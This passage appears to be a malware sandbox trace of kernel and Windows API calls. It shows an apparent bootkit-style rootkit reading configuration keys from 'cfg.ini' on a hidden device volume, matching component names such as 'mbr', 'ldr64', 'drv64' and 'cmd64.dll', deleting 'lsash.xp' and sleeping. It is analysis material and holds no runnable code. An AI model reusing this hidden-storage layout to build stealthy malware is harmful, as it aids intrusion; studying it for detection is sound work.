(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.730] KeEnterCriticalRegion () [0120.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cd000 [0120.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.730] IdePortDispatch () returned 0x103 [0120.730] KeWaitForMutexObject () returned 0x0 [0120.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.730] IdePortDispatch () returned 0x103 [0120.730] KeWaitForMutexObject () returned 0x0 [0120.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.730] KeLeaveCriticalRegion () [0120.730] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.731] KeEnterCriticalRegion () [0120.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] KeLeaveCriticalRegion () [0120.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.731] KeEnterCriticalRegion () [0120.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] KeLeaveCriticalRegion () [0120.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.731] KeEnterCriticalRegion () [0120.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] KeLeaveCriticalRegion () [0120.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.731] ReleaseMutex (hMutex=0xf0) returned 1 [0120.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.731] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.731] KeEnterCriticalRegion () [0120.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.731] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.731] IdePortDispatch () returned 0x103 [0120.731] KeWaitForMutexObject () returned 0x0 [0120.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] KeLeaveCriticalRegion () [0120.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.732] KeEnterCriticalRegion () [0120.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] KeLeaveCriticalRegion () [0120.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.732] KeEnterCriticalRegion () [0120.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.732] IdePortDispatch () returned 0x103 [0120.732] KeWaitForMutexObject () returned 0x0 [0120.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] KeLeaveCriticalRegion () [0120.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.732] KeEnterCriticalRegion () [0120.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ce000 [0120.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.733] IdePortDispatch () returned 0x103 [0120.733] KeWaitForMutexObject () returned 0x0 [0120.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.733] IdePortDispatch () returned 0x103 [0120.733] KeWaitForMutexObject () returned 0x0 [0120.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.733] KeLeaveCriticalRegion () [0120.733] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.733] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.734] KeEnterCriticalRegion () [0120.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] KeLeaveCriticalRegion () [0120.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.734] KeEnterCriticalRegion () [0120.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] KeLeaveCriticalRegion () [0120.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.734] KeEnterCriticalRegion () [0120.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] KeLeaveCriticalRegion () [0120.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.734] ReleaseMutex (hMutex=0xf0) returned 1 [0120.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.734] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.734] KeEnterCriticalRegion () [0120.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.734] IdePortDispatch () returned 0x103 [0120.734] KeWaitForMutexObject () returned 0x0 [0120.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.734] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.734] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.734] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.734] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.734] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] KeLeaveCriticalRegion () [0120.735] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.735] KeEnterCriticalRegion () [0120.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] KeLeaveCriticalRegion () [0120.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.735] KeEnterCriticalRegion () [0120.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.735] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.735] IdePortDispatch () returned 0x103 [0120.735] KeWaitForMutexObject () returned 0x0 [0120.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] KeLeaveCriticalRegion () [0120.735] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.735] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.735] KeEnterCriticalRegion () [0120.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cf000 [0120.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.735] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.735] IdePortDispatch () returned 0x103 [0120.735] KeWaitForMutexObject () returned 0x0 [0120.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.737] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.737] IdePortDispatch () returned 0x103 [0120.737] KeWaitForMutexObject () returned 0x0 [0120.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] KeLeaveCriticalRegion () [0120.738] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.738] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.738] KeEnterCriticalRegion () [0120.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] KeLeaveCriticalRegion () [0120.738] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.738] KeEnterCriticalRegion () [0120.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] KeLeaveCriticalRegion () [0120.738] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.738] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.738] KeEnterCriticalRegion () [0120.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.738] KeLeaveCriticalRegion () [0120.738] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.738] ReleaseMutex (hMutex=0xf0) returned 1 [0120.738] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.739] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.739] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.739] KeEnterCriticalRegion () [0120.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.739] IdePortDispatch () returned 0x103 [0120.739] KeWaitForMutexObject () returned 0x0 [0120.739] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.739] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.739] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.739] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.739] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.739] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.739] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.739] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.739] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.739] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.739] KeLeaveCriticalRegion () [0120.739] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.739] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.739] KeEnterCriticalRegion () [0120.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.739] IdePortDispatch () returned 0x103 [0120.740] KeWaitForMutexObject () returned 0x0 [0120.740] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.740] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.740] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.740] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.740] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.740] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.740] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.740] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.740] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.740] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.740] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.740] KeLeaveCriticalRegion () [0120.740] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.740] ReleaseMutex (hMutex=0x100) returned 1 [0120.740] Sleep (dwMilliseconds=0x2bf20) [0120.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b2a2a50, dwHighDateTime=0x1d24fa4)) [0120.746] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.746] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.746] KeEnterCriticalRegion () [0120.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.746] 